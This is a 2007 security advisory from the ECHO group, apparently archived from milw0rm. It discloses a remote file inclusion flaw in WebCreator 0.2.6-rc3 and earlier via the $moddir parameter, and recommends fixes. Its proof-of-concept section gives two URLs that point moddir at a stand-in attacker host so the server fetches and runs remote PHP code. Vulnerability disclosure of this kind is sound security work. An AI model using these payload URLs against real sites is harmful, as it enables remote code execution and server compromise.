90 lines
No EOL
2.5 KiB
Text
90 lines
No EOL
2.5 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/ .OR.ID
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ECHO_ADV_74$2007
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-------------------------------------------------------------------------------------
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[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability
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-------------------------------------- ----------------------------------------------
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Author : Dedi Dwianto a.k.a the_day
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Date Found : March, 13th 2007
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Location : Indonesia, Jakarta
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web : http://advisories.echo.or.id/adv/adv74-theday-2007.txt
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Critical Lvl : Highly critical
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Impact : System access
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Where : From Remote
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : WebCreator
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version : <= 0.2.6-rc3
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URL : http://webcreator.innoxia.cz/
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~
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- Invalid include_once function at mods/content/load.inc.php
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-----------------------mods/content/load.inc.php------------
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<?
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include_once($moddir . '/functions.lib.php');
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?>
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----------------------------------------------------------
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Input passed to the "$moddir" parameter in load.inc.php is not
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properly verified before being used. This can be exploited to execute
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arbitrary PHP code by including files from local or external
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resources.
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also affected files :
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config/load.inc.php
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http/load.inc.php
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and More ....
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Proof Of Concept:
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~~~~~~~~~~~~~
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http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt?
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http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?
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Solution:
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~~~~~
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- Sanitize variable $moddir affected files.
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- Turn off register_globals
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---------------------------------------------------------------------------
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Shoutz:
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~
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~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
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~ Jessy Nice Girl
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~ az001,bomm_3x,matdhule,angelia
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~ newbie_hacker@yahoogroups.com
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~ #aikmel - #e-c-h-o @irc.dal.net
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------------------------------------------------------------------------
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---
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Contact:
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~~
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EcHo Research & Development Center
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http://advisories.echo.or.id
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erdc[at]echo[dot]or[dot]id
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the_day[at]echo[dot]or[dot]id
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-------------------------------- [ EOF ]----------------------------------
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# milw0rm.com [2007-03-13] |